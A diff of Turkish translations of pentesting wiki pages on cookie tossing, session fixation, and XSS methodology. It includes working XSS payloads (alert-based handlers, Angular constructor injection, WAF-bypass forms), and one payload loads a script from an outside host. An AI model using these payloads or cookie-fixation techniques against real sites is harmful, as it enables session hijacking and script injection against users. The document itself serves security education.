- [**toxicache**](https://github.com/xhzeem/toxicache): Bir URL listesinde web cache zehirlenmesi açıklarını bulmak ve birden fazla enjeksiyon tekniğini test etmek için Golang tarayıcısı.
|
||||
- [**toxicache**](https://github.com/xhzeem/toxicache): Bir URL listesinde web cache poisoning açıklarını bulmak ve birden fazla enjeksiyon tekniğini test etmek için Golang tarayıcısı.
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
@ -6,45 +6,46 @@
|
||||
|
||||
Eğer bir saldırgan **bir alt alan adını veya bir şirketin alanını kontrol edebiliyorsa ya da bir alt alan adında bir XSS bulursa** bu saldırıyı gerçekleştirebilir.
|
||||
|
||||
Cookies Hacking bölümünde belirtildiği gibi, **bir çerez bir alana (belirterek) ayarlandığında, alan ve alt alan adlarında kullanılacaktır.**
|
||||
Cookies Hacking bölümünde belirtildiği gibi, bir **cookie bir alana (belirterek) ayarlandığında, o alan ve alt alanlarda kullanılacaktır.**
|
||||
|
||||
> [!CAUTION]
|
||||
> Bu nedenle, **bir saldırgan belirli bir çerezi alan ve alt alan adlarına ayarlayabilecektir, örneğin** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
|
||||
> Bu nedenle, **bir saldırgan belirli bir cookie'yi alan ve alt alanlara ayarlayabilecektir, bunu yaparak** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
|
||||
|
||||
Bu tehlikeli olabilir çünkü saldırgan:
|
||||
|
||||
- **Mağdurun çerezini saldırganın hesabına sabitleyebilir**, böylece kullanıcı fark etmezse, **saldırganın hesabında işlemleri gerçekleştirebilir** ve saldırgan bazı ilginç bilgilere ulaşabilir (kullanıcının platformdaki arama geçmişini kontrol etmek, mağdurun hesabında kredi kartı ayarlaması yapması...)
|
||||
- Eğer **çerez giriş yaptıktan sonra değişmiyorsa**, saldırgan sadece **bir çerezi sabitleyebilir (session-fixation)**, mağdur giriş yapana kadar bekleyebilir ve ardından **o çerezi kullanarak mağdur olarak giriş yapabilir**.
|
||||
- Bazen, oturum çerezleri değişse bile, saldırgan önceki çerezi kullanabilir ve yeni çerezi de alabilir.
|
||||
- Eğer **çerez bazı başlangıç değerleri ayarlıyorsa** (flask'ta olduğu gibi, burada **çerez** **oturumun CSRF token'ını ayarlayabilir ve bu değer mağdur giriş yaptıktan sonra korunur), **saldırgan bu bilinen değeri ayarlayabilir ve ardından bunu kötüye kullanabilir** (bu senaryoda, saldırgan daha sonra kullanıcının CSRF token'ını bildiği için bir CSRF isteği gerçekleştirmesini sağlayabilir).
|
||||
- Değeri ayarlamak gibi, saldırgan ayrıca sunucu tarafından oluşturulan kimlik doğrulaması yapılmamış bir çerezi alabilir, ondan CSRF token'ını alabilir ve bunu kullanabilir.
|
||||
- **Kurbanın cookie'sini saldırganın hesabına sabitleyebilir**, böylece kullanıcı fark etmezse, **saldırganın hesabında işlemleri gerçekleştirebilir** ve saldırgan bazı ilginç bilgilere ulaşabilir (kullanıcının platformdaki arama geçmişini kontrol etmek, kurbanın hesabında kredi kartı ayarlaması yapması...)
|
||||
- Bunun bir örneği [burada bulunabilir](https://snyk.io/articles/hijacking-oauth-flows-via-cookie-tossing/) burada saldırgan, kurbanın **git reposuna erişim yetkisi vermek için kullanacağı belirli bölümlerde cookie'sini ayarlamıştır ama saldırganın hesabından** çünkü gerekli uç noktalarda cookie'lerini ayarlayacaktır.
|
||||
- Eğer **cookie giriş yaptıktan sonra değişmezse**, saldırgan sadece **bir cookie'yi sabitleyebilir (session-fixation)**, kurban giriş yapana kadar bekleyebilir ve sonra **o cookie'yi kurban olarak giriş yapmak için kullanabilir**.
|
||||
- Bazen, oturum cookie'leri değişse bile, saldırgan önceki cookie'yi kullanabilir ve yeni olanı da alabilir.
|
||||
- Eğer **cookie bazı başlangıç değerleri ayarlıyorsa** (flask'ta olduğu gibi, **cookie** oturumun **CSRF token'ını** ayarlayabilir ve bu değer kurban giriş yaptıktan sonra korunur), **saldırgan bu bilinen değeri ayarlayabilir ve sonra bunu kötüye kullanabilir** (bu senaryoda, saldırgan daha sonra kullanıcının CSRF token'ını bildiği için bir CSRF isteği gerçekleştirmesini sağlayabilir).
|
||||
- Değeri ayarlamak gibi, saldırgan ayrıca sunucu tarafından üretilen kimlik doğrulaması yapılmamış bir cookie alabilir, ondan CSRF token'ını alabilir ve kullanabilir.
|
||||
|
||||
### Çerez Sırası
|
||||
### Cookie Sırası
|
||||
|
||||
Bir tarayıcı, **aynı isimde iki çerez aldığında ve bu çerezler aynı kapsamı (alan, alt alanlar ve yol) kısmen etkiliyorsa**, **tarayıcı her iki çerezin değerini de** geçerli olduğu sürece istekte gönderecektir.
|
||||
Bir tarayıcı, aynı isimde iki cookie aldığında **kısmen aynı kapsamı etkileyen** (alan, alt alanlar ve yol) **tarayıcı, her iki cookie'nin değerini de** geçerli olduğunda istekte gönderecektir.
|
||||
|
||||
Kimin **en spesifik yolu** olduğu veya hangisinin **en eski olduğu** dikkate alınarak, tarayıcı **önce çerezin değerini ayarlayacak** ve ardından diğerinin değerini ayarlayacaktır, örneğin: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
|
||||
Kimin **en spesifik yolu** olduğu veya hangisinin **en eski olduğu** dikkate alınarak, tarayıcı **önce cookie'nin değerini ayarlayacak** ve sonra diğerinin değerini ayarlayacaktır, örneğin: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
|
||||
|
||||
Çoğu **web sitesi yalnızca ilk değeri kullanacaktır**. Bu nedenle, bir saldırgan bir çerez ayarlamak istiyorsa, başka bir çerez ayarlanmadan önce ayarlamak veya daha spesifik bir yol ile ayarlamak daha iyidir.
|
||||
Çoğu **web sitesi yalnızca ilk değeri kullanacaktır**. Bu nedenle, bir saldırgan bir cookie ayarlamak istiyorsa, başka bir cookie ayarlanmadan önce ayarlamak veya daha spesifik bir yol ile ayarlamak daha iyidir.
|
||||
|
||||
> [!WARNING]
|
||||
> Ayrıca, **daha spesifik bir yolda çerez ayarlama yeteneği** çok ilginçtir çünkü **mağdurun çerezi ile çalışmasını sağlayabilirsiniz, yalnızca kötü niyetli çerezin ayarlandığı spesifik yol dışında**.
|
||||
> Ayrıca, **daha spesifik bir yolda cookie ayarlama yeteneği** çok ilginçtir çünkü **kurbanın cookie'si ile çalışmasını sağlayabilirsiniz, yalnızca kötü niyetli cookie'nin ayarlandığı spesifik yolda gönderilecektir.**
|
||||
|
||||
### Koruma Aşma
|
||||
|
||||
Bu saldırıya karşı olası bir koruma, **web sunucusunun aynı isimde ancak iki farklı değere sahip iki çerezi kabul etmemesi** olabilir.
|
||||
Bu saldırıya karşı olası bir koruma, **web sunucusunun aynı isimde ama iki farklı değere sahip iki cookie'yi kabul etmemesi** olacaktır.
|
||||
|
||||
Saldırganın mağdurun çerezini aldıktan sonra bir çerez ayarladığı senaryosunu aşmak için, saldırgan bir **çerez taşması** oluşturabilir ve ardından, **geçerli çerez silindikten sonra, kötü niyetli olanı ayarlayabilir**.
|
||||
Saldırganın kurbanın zaten verilmiş bir cookie'sini ayarladığı senaryoyu aşmak için, saldırgan bir **cookie taşması** oluşturabilir ve sonra, **geçerli cookie silindikten sonra, kötü niyetli olanı ayarlayabilir**.
|
||||
|
||||
{{#ref}}
|
||||
cookie-jar-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
Başka bir yararlı **aşma** yöntemi, **çerez adını URL kodlamaktır** çünkü bazı korumalar bir istekte aynı isimde 2 çerez kontrol eder ve ardından sunucu çerez adlarını çözecektir.
|
||||
Başka bir yararlı **aşma** yöntemi, **cookie'nin adını URL kodlamaktır** çünkü bazı korumalar bir istekte aynı isimde 2 cookie kontrol eder ve ardından sunucu cookie'lerin adlarını çözecektir.
|
||||
|
||||
### Çerez Bombası
|
||||
### Cookie Bomb
|
||||
|
||||
Bir Cookie Tossing saldırısı ayrıca bir **Çerez Bombası** saldırısı gerçekleştirmek için de kullanılabilir:
|
||||
Bir Cookie Tossing saldırısı ayrıca bir **Cookie Bomb** saldırısı gerçekleştirmek için de kullanılabilir:
|
||||
|
||||
{{#ref}}
|
||||
cookie-bomb.md
|
||||
@ -52,10 +53,10 @@ cookie-bomb.md
|
||||
|
||||
### Savunmalar
|
||||
|
||||
#### **Çerez adında `__Host` ön ekini kullanın**
|
||||
#### **Cookie adında `__Host` ön ekini kullanın**
|
||||
|
||||
- Eğer bir çerez adı bu ön eki taşıyorsa, **yalnızca Set-Cookie direktifinde** Güvenli olarak işaretlenmişse, güvenli bir kaynaktan gönderilmişse, bir Alan niteliği içermiyorsa ve Yol niteliği / olarak ayarlanmışsa **kabul edilecektir**.
|
||||
- **Bu, alt alanların çerezi ana alana zorlamasını engeller çünkü bu çerezler "alan kilitli" olarak görülebilir.**
|
||||
- Eğer bir cookie adında bu ön ek varsa, **yalnızca** Set-Cookie direktifinde **güvenli olarak işaretlenmişse, güvenli bir kaynaktan gönderilmişse, Domain niteliğini içermiyorsa ve Path niteliği / olarak ayarlanmışsa kabul edilecektir.**
|
||||
- **Bu, alt alanların bir cookie'yi ana alana zorlamasını engeller çünkü bu cookie'ler "alan kilitli" olarak görülebilir.**
|
||||
|
||||
### Referanslar
|
||||
|
||||
|
@ -2,30 +2,30 @@
|
||||
|
||||
## Methodoloji
|
||||
|
||||
1. **Kontrol ettiğiniz herhangi bir değerin** (_parametreler_, _yol_, _başlıklar_?, _çerezler_?) HTML'de **yansıtılıp** **JS** kodu tarafından **kullanılıp kullanılmadığını** kontrol edin.
|
||||
1. **Kontrol ettiğiniz herhangi bir değerin** (_parametreler_, _yol_, _başlıklar_?, _çerezler_?) HTML'de **yansıtılıp** yansıtılmadığını veya **JS** kodu tarafından **kullanılıp** kullanılmadığını kontrol edin.
|
||||
2. **Yansıtıldığı/kullanıldığı bağlamı** bulun.
|
||||
3. Eğer **yansıtılmışsa**:
|
||||
3. Eğer **yansıtılmışsa**
|
||||
1. **Hangi sembolleri kullanabileceğinizi** kontrol edin ve buna bağlı olarak yükü hazırlayın:
|
||||
1. **Ham HTML'de**:
|
||||
1. Yeni HTML etiketleri oluşturabilir misiniz?
|
||||
2. `javascript:` protokolünü destekleyen olaylar veya öznitelikler kullanabilir misiniz?
|
||||
3. Koruma mekanizmalarını aşabilir misiniz?
|
||||
4. HTML içeriği herhangi bir istemci tarafı JS motoru (_AngularJS_, _VueJS_, _Mavo_...) tarafından yorumlanıyorsa, [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md) istismar edebilirsiniz.
|
||||
2. `javascript:` protokolünü destekleyen olayları veya nitelikleri kullanabilir misiniz?
|
||||
3. Koruma önlemlerini aşabilir misiniz?
|
||||
4. HTML içeriği herhangi bir istemci tarafı JS motoru (_AngularJS_, _VueJS_, _Mavo_...) tarafından yorumlanıyor mu, [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md) istismar edebilirsiniz.
|
||||
5. JS kodu yürüten HTML etiketleri oluşturamıyorsanız, [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html) istismar edebilir misiniz?
|
||||
2. **HTML etiketinin içinde**:
|
||||
2. Bir **HTML etiketinin** içinde:
|
||||
1. Ham HTML bağlamına çıkabilir misiniz?
|
||||
2. JS kodunu çalıştırmak için yeni olaylar/öznitelikler oluşturabilir misiniz?
|
||||
3. Sıkıştığınız öznitelik JS yürütmesini destekliyor mu?
|
||||
4. Koruma mekanizmalarını aşabilir misiniz?
|
||||
3. **JavaScript kodunun içinde**:
|
||||
2. JS kodunu yürütmek için yeni olaylar/nitelikler oluşturabilir misiniz?
|
||||
3. Sıkıştığınız nitelik JS yürütmesini destekliyor mu?
|
||||
4. Koruma önlemlerini aşabilir misiniz?
|
||||
3. **JavaScript kodunun** içinde:
|
||||
1. `<script>` etiketini kaçırabilir misiniz?
|
||||
2. Dizeyi kaçırıp farklı JS kodu çalıştırabilir misiniz?
|
||||
3. Girdiğiniz değer şablon literalleri \`\` içinde mi?
|
||||
4. Koruma mekanizmalarını aşabilir misiniz?
|
||||
4. Javascript **fonksiyonu** **çalıştırılıyor**:
|
||||
2. Dizeyi kaçırabilir ve farklı JS kodu yürütebilir misiniz?
|
||||
3. Girdileriniz şablon literalleri \`\` içinde mi?
|
||||
4. Koruma önlemlerini aşabilir misiniz?
|
||||
4. Javascript **fonksiyonu** **yürütülüyor**:
|
||||
1. Yürütülecek fonksiyonun adını belirtebilirsiniz. örneğin: `?callback=alert(1)`
|
||||
4. Eğer **kullanılıyorsa**:
|
||||
1. **DOM XSS** istismar edebilirsiniz, girdinizin nasıl kontrol edildiğine ve **kontrol edilen girdinizin herhangi bir sink tarafından kullanılıp kullanılmadığına** dikkat edin.
|
||||
1. Bir **DOM XSS** istismar edebilirsiniz, girdinizin nasıl kontrol edildiğine ve **kontrol edilen girdinizin herhangi bir sink tarafından kullanılıp kullanılmadığına** dikkat edin.
|
||||
|
||||
Karmaşık bir XSS üzerinde çalışırken bilmek ilginç olabilir:
|
||||
|
||||
@ -37,29 +37,29 @@ debugging-client-side-js.md
|
||||
|
||||
Bir XSS'i başarıyla istismar etmek için bulmanız gereken ilk şey, web sayfasında **yansıtılan sizin kontrolünüzdeki bir değerdir**.
|
||||
|
||||
- **Ara yansıtma**: Bir parametrenin veya hatta yolun değerinin web sayfasında yansıtıldığını bulursanız, **Yansıtılan XSS** istismar edebilirsiniz.
|
||||
- **Saklanan ve yansıtılan**: Kontrolünüzdeki bir değerin sunucuda kaydedildiğini ve her sayfaya eriştiğinizde yansıtıldığını bulursanız, **Saklanan XSS** istismar edebilirsiniz.
|
||||
- **JS ile erişilen**: Kontrolünüzdeki bir değerin JS kullanılarak erişildiğini bulursanız, **DOM XSS** istismar edebilirsiniz.
|
||||
- **Ara yansıtılmış**: Bir parametrenin veya hatta yolun değerinin web sayfasında yansıtıldığını bulursanız, bir **Yansıtılan XSS** istismar edebilirsiniz.
|
||||
- **Saklanan ve yansıtılan**: Kontrolünüzdeki bir değerin sunucuda kaydedildiğini ve her sayfaya eriştiğinizde yansıtıldığını bulursanız, bir **Saklanan XSS** istismar edebilirsiniz.
|
||||
- **JS ile erişilen**: Kontrolünüzdeki bir değerin JS kullanılarak erişildiğini bulursanız, bir **DOM XSS** istismar edebilirsiniz.
|
||||
|
||||
## Bağlamlar
|
||||
|
||||
Bir XSS'i istismar etmeye çalışırken bilmeniz gereken ilk şey, **girdinizin nerede yansıtıldığıdır**. Bağlama bağlı olarak, farklı şekillerde keyfi JS kodu çalıştırabileceksiniz.
|
||||
Bir XSS'i istismar etmeye çalışırken bilmeniz gereken ilk şey, **girdinizin nerede yansıtıldığıdır**. Bağlama bağlı olarak, farklı şekillerde keyfi JS kodu yürütebilirsiniz.
|
||||
|
||||
### Ham HTML
|
||||
|
||||
Eğer girdiniz **ham HTML** sayfasında **yansıtılıyorsa**, JS kodunu çalıştırmak için bazı **HTML etiketlerini** istismar etmeniz gerekecek: `<img , <iframe , <svg , <script` ... bunlar kullanabileceğiniz birçok olası HTML etiketinden sadece birkaçıdır.\
|
||||
Eğer girdiniz **ham HTML** sayfasında **yansıtılıyorsa**, JS kodunu yürütmek için bazı **HTML etiketlerini** istismar etmeniz gerekecek: `<img , <iframe , <svg , <script` ... bunlar kullanabileceğiniz birçok olası HTML etiketinden sadece birkaçıdır.\
|
||||
Ayrıca, [İstemci Tarafı Şablon Enjeksiyonu](../client-side-template-injection-csti.md) aklınızda bulunsun.
|
||||
|
||||
### HTML etiketinin özniteliklerinin içinde
|
||||
### HTML etiketinin niteliği içinde
|
||||
|
||||
Eğer girdiniz bir etiketin özniteliğinin değerinin içinde yansıtılıyorsa, şunları deneyebilirsiniz:
|
||||
Eğer girdiniz bir etiketin niteliğinin değerinde yansıtılıyorsa, şunları deneyebilirsiniz:
|
||||
|
||||
1. **Öznitelikten ve etikten kaçmak** (o zaman ham HTML'de olacaksınız) ve istismar etmek için yeni bir HTML etiketi oluşturmak: `"><img [...]`
|
||||
2. Eğer **öznitelikten kaçabiliyorsanız ama etiketten kaçamıyorsanız** (`>` kodlanmış veya silinmişse), etikete bağlı olarak **JS kodunu çalıştıran bir olay** oluşturabilirsiniz: `" autofocus onfocus=alert(1) x="`
|
||||
3. Eğer **öznitelikten kaçamıyorsanız** (`"` kodlanmış veya silinmişse), o zaman **hangi öznitelikte** değerinizin yansıtıldığına bağlı olarak **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak bunu istismar edebilirsiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında keyfi kod çalıştırmasını sağlayabilirsiniz. Diğer ilginç bir **örnek**, `href` özniteliğidir; burada keyfi kod çalıştırmak için `javascript:` protokolünü kullanabilirsiniz: **`href="javascript:alert(1)"`**
|
||||
4. Eğer girdiniz "**istismar edilemez etiketlerin**" içinde yansıtılıyorsa, açığı istismar etmek için **`accesskey`** numarasını deneyebilirsiniz (bunu istismar etmek için bir tür sosyal mühendislik yapmanız gerekecek): **`" accesskey="x" onclick="alert(1)" x="**
|
||||
1. **Nitelikten ve etikten kaçmak** (o zaman ham HTML'de olacaksınız) ve istismar etmek için yeni bir HTML etiketi oluşturmak: `"><img [...]`
|
||||
2. Eğer **nitelikten kaçabiliyorsanız ama etiketten kaçamıyorsanız** (`>` kodlanmış veya silinmişse), etikete bağlı olarak **JS kodunu yürüten bir olay** oluşturabilirsiniz: `" autofocus onfocus=alert(1) x="`
|
||||
3. Eğer **nitelikten kaçamıyorsanız** (`"` kodlanmış veya silinmişse), o zaman **hangi nitelikte** değerinizin yansıtıldığına bağlı olarak **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak bunu istismar edebilirsiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında keyfi kod yürütmesini sağlayabilirsiniz. Diğer ilginç bir **örnek**, `href` niteliğidir; burada keyfi kod yürütmek için `javascript:` protokolünü kullanabilirsiniz: **`href="javascript:alert(1)"`**
|
||||
4. Eğer girdiniz "**istismar edilemez etiketler**" içinde yansıtılıyorsa, açığı istismar etmek için **`accesskey`** numarasını deneyebilirsiniz (bunu istismar etmek için bir tür sosyal mühendislik gerekecektir): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Kontrol ettiğiniz bir sınıf adı varsa Angular'ın XSS'i çalıştırdığı tuhaf bir örnek:
|
||||
Kontrol ettiğiniz bir sınıf adı varsa Angular'ın XSS yürütme ile ilgili garip bir örneği:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
@ -69,8 +69,8 @@ Kontrol ettiğiniz bir sınıf adı varsa Angular'ın XSS'i çalıştırdığı
|
||||
|
||||
Bu durumda, girdiniz bir HTML sayfasının **`<script> [...] </script>`** etiketleri arasında, bir `.js` dosyası içinde veya bir öznitelik içinde **`javascript:`** protokolü kullanılarak yansıtılır:
|
||||
|
||||
- Eğer **`<script> [...] </script>`** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `</script>` enjekte etmeyi deneyebilirsiniz ve bu bağlamdan çıkabilirsiniz. Bu, **tarayıcının önce HTML etiketlerini** ayrıştırması ve ardından içeriği işlemesi nedeniyle çalışır, bu nedenle enjekte ettiğiniz `</script>` etiketinin HTML kodu içinde olduğunu fark etmeyecektir.
|
||||
- Eğer **bir JS dizesi içinde** yansıtılıyorsa ve son hile işe yaramıyorsa, dizeden **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekecektir (herhangi bir hata varsa, çalıştırılmayacaktır):
|
||||
- Eğer **`<script> [...] </script>`** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `</script>` enjekte etmeyi deneyebilirsiniz ve bu bağlamdan çıkabilirsiniz. Bu, **tarayıcının önce HTML etiketlerini** ayrıştırmasından ve ardından içeriği işlemesinden dolayı çalışır; bu nedenle, enjekte ettiğiniz `</script>` etiketinin HTML kodu içinde olduğunu fark etmeyecektir.
|
||||
- Eğer **bir JS dizesi içinde** yansıtılıyorsa ve son hile işe yaramıyorsa, dizeden **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekir (herhangi bir hata varsa, çalıştırılmayacaktır):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
@ -83,7 +83,7 @@ alert(1)
|
||||
```
|
||||
#### Javascript Hoisting
|
||||
|
||||
Javascript Hoisting, **kullanıldıktan sonra fonksiyonları, değişkenleri veya sınıfları tanımlama fırsatını ifade eder, böylece XSS'nin tanımlanmamış değişkenler veya fonksiyonlar kullandığı senaryoları kötüye kullanabilirsiniz.**\
|
||||
Javascript Hoisting, **kullanıldıktan sonra fonksiyonları, değişkenleri veya sınıfları tanımlama fırsatını** ifade eder, böylece XSS'in tanımlanmamış değişkenler veya fonksiyonlar kullandığı senaryoları kötüye kullanabilirsiniz.\
|
||||
**Daha fazla bilgi için aşağıdaki sayfayı kontrol edin:**
|
||||
|
||||
{{#ref}}
|
||||
@ -92,13 +92,13 @@ js-hoisting.md
|
||||
|
||||
### Javascript Function
|
||||
|
||||
Birçok web sayfası, **çalıştırılacak fonksiyonun adını parametre olarak kabul eden uç noktalar içerir.** Gerçek hayatta görülen yaygın bir örnek: `?callback=callbackFunc`.
|
||||
Birçok web sayfası, **çalıştırılacak fonksiyonun adını parametre olarak kabul eden** uç noktalar içerir. Gerçek hayatta görülen yaygın bir örnek: `?callback=callbackFunc`.
|
||||
|
||||
Kullanıcı tarafından doğrudan verilen bir şeyin çalıştırılmaya çalışılıp çalışılmadığını anlamanın iyi bir yolu, **parametre değerini değiştirmektir** (örneğin 'Vulnerable' olarak) ve konsolda şu hataları aramaktır:
|
||||
|
||||
.png>)
|
||||
|
||||
Eğer zayıfsa, sadece değeri göndererek **bir uyarı tetikleyebilirsiniz**: **`?callback=alert(1)`**. Ancak, bu uç noktaların genellikle **içeriği doğrulaması** ve yalnızca harfler, sayılar, noktalar ve alt çizgiler (**`[\w\._]`**) gibi karakterlere izin vermesi oldukça yaygındır.
|
||||
Eğer zayıfsa, sadece değeri göndererek **bir uyarı tetikleyebilirsiniz**: **`?callback=alert(1)`**. Ancak, bu uç noktaların genellikle **içeriği doğrulaması** ve yalnızca harfler, rakamlar, noktalar ve alt çizgiler (**`[\w\._]`**) gibi karakterlere izin vermesi oldukça yaygındır.
|
||||
|
||||
Ancak, bu sınırlamaya rağmen bazı eylemleri gerçekleştirmek hala mümkündür. Bunun nedeni, bu geçerli karakterleri kullanarak **DOM'daki herhangi bir öğeye erişebilmenizdir**:
|
||||
|
||||
@ -114,7 +114,7 @@ parentElement
|
||||
```
|
||||
Ayrıca **Javascript fonksiyonlarını** doğrudan tetiklemeyi deneyebilirsiniz: `obj.sales.delOrders`.
|
||||
|
||||
Ancak, genellikle belirtilen fonksiyonu yürüten uç noktalar, çok ilginç DOM'a sahip olmayan uç noktalardır, **aynı kök içindeki diğer sayfalar** daha fazla işlem yapmak için **daha ilginç bir DOM**'a sahip olacaktır.
|
||||
Ancak, genellikle belirtilen fonksiyonu yürüten uç noktalar, çok ilginç DOM'a sahip olmayan uç noktalardır, **aynı kök içindeki diğer sayfalar** daha fazla işlem yapmak için **daha ilginç bir DOM** içerecektir.
|
||||
|
||||
Bu nedenle, **farklı bir DOM'da bu zafiyeti istismar etmek için** **Same Origin Method Execution (SOME)** istismarı geliştirilmiştir:
|
||||
|
||||
@ -124,7 +124,7 @@ some-same-origin-method-execution.md
|
||||
|
||||
### DOM
|
||||
|
||||
**JS kodu**, **bir saldırgan tarafından kontrol edilen** bazı **verileri** **güvensiz bir şekilde** kullanmaktadır, örneğin `location.href`. Bir saldırgan, bunu keyfi JS kodu yürütmek için istismar edebilir.
|
||||
**JS kodu** bir **saldırgan tarafından kontrol edilen** bazı **verileri** **güvensiz bir şekilde** kullanmaktadır, örneğin `location.href`. Bir saldırgan, bunu kullanarak keyfi JS kodu çalıştırabilir.
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
@ -132,7 +132,7 @@ dom-xss.md
|
||||
|
||||
### **Evrensel XSS**
|
||||
|
||||
Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **keyfi JavaScript yürütmesi**, **RCE** elde etmek, istemcilerde ve sunucularda **keyfi** **dosyaları** **okumak** ve daha fazlası için bile istismar edilebilir.\
|
||||
Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **keyfi JavaScript yürütmesi** **RCE** elde etmek, istemcilerde ve sunucularda **keyfi** **dosyaları** **okumak** ve daha fazlası için istismar edilebilir.\
|
||||
Bazı **örnekler**:
|
||||
|
||||
{{#ref}}
|
||||
@ -143,7 +143,7 @@ server-side-xss-dynamic-pdf.md
|
||||
../../network-services-pentesting/pentesting-web/electron-desktop-apps/
|
||||
{{#endref}}
|
||||
|
||||
## WAF atlatma kodlama resmi
|
||||
## WAF atlatma kodlaması resmi
|
||||
|
||||
.jpg>)
|
||||
|
||||
@ -151,9 +151,9 @@ server-side-xss-dynamic-pdf.md
|
||||
|
||||
Girdiğiniz değer **HTML sayfası içinde** yansıtıldığında veya bu bağlamda HTML kodunu kaçırıp enjekte edebiliyorsanız, yapmanız gereken **ilk** şey `<` karakterini yeni etiketler oluşturmak için istismar edip edemeyeceğinizi kontrol etmektir: O **karakteri** **yansıtmayı** deneyin ve **HTML kodlaması** yapılıp yapılmadığını veya **silinip silinmediğini** ya da **değişiklik olmadan yansıtılıp yansıtılmadığını** kontrol edin. **Sadece son durumda bu durumu istismar edebilirsiniz**.\
|
||||
Bu durumlar için ayrıca **[**Client Side Template Injection**](../client-side-template-injection-csti.md)**'ı da **aklınızda bulundurun**.\
|
||||
_**Not: Bir HTML yorumu, \*\*\*\*\*\***\***\*`-->`\*\***\***\* veya \*\*\*\*\*\***`--!>`\*\* ile kapatılabilir._
|
||||
_**Not: Bir HTML yorumu `-->` ile veya `--!>` ile kapatılabilir.**_
|
||||
|
||||
Bu durumda ve eğer kara/beyaz listeleme kullanılmıyorsa, şu tür payload'ları kullanabilirsiniz:
|
||||
Bu durumda ve eğer kara/beyaz listeleme kullanılmıyorsa, şu tür yükleri kullanabilirsiniz:
|
||||
```html
|
||||
<script>
|
||||
alert(1)
|
||||
@ -161,12 +161,12 @@ alert(1)
|
||||
<img src="x" onerror="alert(1)" />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Ancak, eğer etiketler/özellikler siyah/beyaz listeleme kullanılıyorsa, hangi etiketleri oluşturabileceğinizi **brute-force** etmeniz gerekecek.\
|
||||
Hangi etiketlerin izin verildiğini **bulduktan** sonra, bulunan geçerli etiketler içinde **özellikler/olayları brute-force** etmeniz gerekecek, böylece bağlamı nasıl saldırıya uğratabileceğinizi görebilirsiniz.
|
||||
Ama, eğer etiketler/özellikler siyah/beyaz listeleme kullanılıyorsa, hangi etiketleri oluşturabileceğinizi **brute-force** etmeniz gerekecek.\
|
||||
Hangi etiketlerin izin verildiğini **bulduktan** sonra, saldırı yapabileceğiniz bağlamı görmek için bulunan geçerli etiketler içindeki **özellikleri/olayları brute-force** etmeniz gerekecek.
|
||||
|
||||
### Etiketler/Olaylar brute-force
|
||||
|
||||
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Etiketleri panoya kopyala**_ seçeneğine tıklayın. Ardından, hepsini Burp intruder kullanarak gönderin ve herhangi bir etiketin WAF tarafından kötü niyetli olarak keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak **tüm olayları brute-force** edebilirsiniz (aynı web sayfasında _**Olayları panoya kopyala**_ seçeneğine tıklayın ve daha önceki prosedürü takip edin).
|
||||
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Etiketleri panoya kopyala**_ seçeneğine tıklayın. Ardından, bunların hepsini Burp intruder kullanarak gönderin ve herhangi bir etiketin WAF tarafından kötü niyetli olarak keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak **tüm olayları brute force** edebilirsiniz (aynı web sayfasında _**Olayları panoya kopyala**_ seçeneğine tıklayın ve önceki prosedürü izleyin).
|
||||
|
||||
### Özel etiketler
|
||||
|
||||
@ -226,30 +226,30 @@ onerror=alert`1`
|
||||
//Use more than one
|
||||
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
|
||||
```
|
||||
### Length bypass (small XSSs)
|
||||
### Uzunluk atlatma (küçük XSS'ler)
|
||||
|
||||
> [!NOTE] > **Farklı ortamlar için daha fazla küçük XSS** payload [**burada bulunabilir**](https://github.com/terjanq/Tiny-XSS-Payloads) ve [**burada**](https://tinyxss.terjanq.me).
|
||||
> [!NOTE] > **Farklı ortamlar için daha fazla küçük XSS** yük [**burada bulunabilir**](https://github.com/terjanq/Tiny-XSS-Payloads) ve [**burada**](https://tinyxss.terjanq.me).
|
||||
```html
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||
```
|
||||
The last one is using 2 unicode characters which expands to 5: telsr\
|
||||
